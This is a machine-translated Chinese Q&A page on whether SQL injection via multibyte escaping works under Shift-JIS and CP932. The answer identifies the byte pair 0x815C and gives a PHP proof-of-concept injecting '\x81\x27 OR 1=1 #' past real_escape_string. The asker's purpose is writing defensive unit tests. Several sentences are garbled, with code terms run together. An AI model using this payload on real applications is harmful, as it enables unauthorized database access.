如何使用 Shift-JIS 和 CP932 创建 SQL 注入攻击?

2022-08-30 13:26:11

我正在编写一些单元测试,以确保我的代码不容易受到各种字符集下的SQL注入的攻击。

根据此答案,您可以通过使用以下字符集之一注入来创建漏洞:、、、和\xbf\x27big5cp932gb2312gbksjis

这是因为如果您的逃生器配置不正确,它将看到并尝试转义它,使其变为 .但是,实际上是这些字符集中的个字符,因此引号 () 未省略。0x27\xbf\x5c\x27\xbf\x5c0x27

然而,正如我通过测试发现的那样,这并不完全正确。它适用于 ,但 0xbf270xbf5c 都不是 和 中的有效字符。big5gb2312gbksjiscp932

mb_strpos("abc\xbf\x27def","'",0,'sjis')

mb_strpos("abc\xbf\x27def","'",0,'cp932')

返回。也就是说,PHP不被视为单个字符。这将返回 和 。4\xbf\x27falsebig5gb2312gbk

另外,这个:

mb_strlen("\xbf\x5c",'sjis')

返回(返回 )。21gbk

所以,问题是:是否有另一个字符序列使SQL注入容易受到攻击,或者它们实际上根本不容易受到攻击?还是PHP在撒谎,我完全错了,MySQL会对此做出完全不同的解释?sjiscp932


答案 1

魔鬼在细节中...让我们从有问题的答案如何描述易受攻击的字符集列表开始:

为了使这种攻击起作用,我们需要服务器期望在连接上编码的编码,就像在ASCII中一样编码,即 一些字符,其最终字节是ASCII\,即0x5c。事实证明,默认情况下,MySQL 5.6中支持5种这样的编码:,,,和。我们将在此处选择 gbk'0x27big5cp932gb2312gbksjis

这给了我们一些上下文 - 用作 的示例,而不是用作所有 5 个字符集的通用字符。
碰巧的是,相同的字节序列也是 和 下的有效字符。0xbf5cgbkbig5gb2312

在这一点上,你的问题变得像这样简单:

哪个字节序列是 和 下的有效字符,并以 ?cp932sjis0x5c

公平地说,我尝试的大多数谷歌搜索这些字符集都没有给出任何有用的结果。但是我确实找到了这个CP932.TXT文件,如果您在其中搜索(那里有空格),您将跳转到以下行:'5c '

0x815C 0x2015 #HORIZONTAL酒吧

我们有一个赢家!:)

一些Oracle文档确认这是两者的相同字符,并且PHP也可以识别它:0x815ccp932sjis

php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)

以下是攻击的 PoC 脚本:

<?php
$username = 'username';
$password = 'password';

$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
        $mysqli->query("SET NAMES {$charset}");
        $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
        $mysqli->query("USE {$charset}_db");
        $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
        $mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");

        $input = "\x81\x27 OR 1=1 #";
        $input = $mysqli->real_escape_string($input);
        $query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
        $result = $mysqli->query($query);
        if ($result->num_rows > 1)
        {
                echo "{$charset} exploit successful!\n";
        }

        $mysqli->query("DROP DATABASE {$charset}_db");
}

答案 2

推荐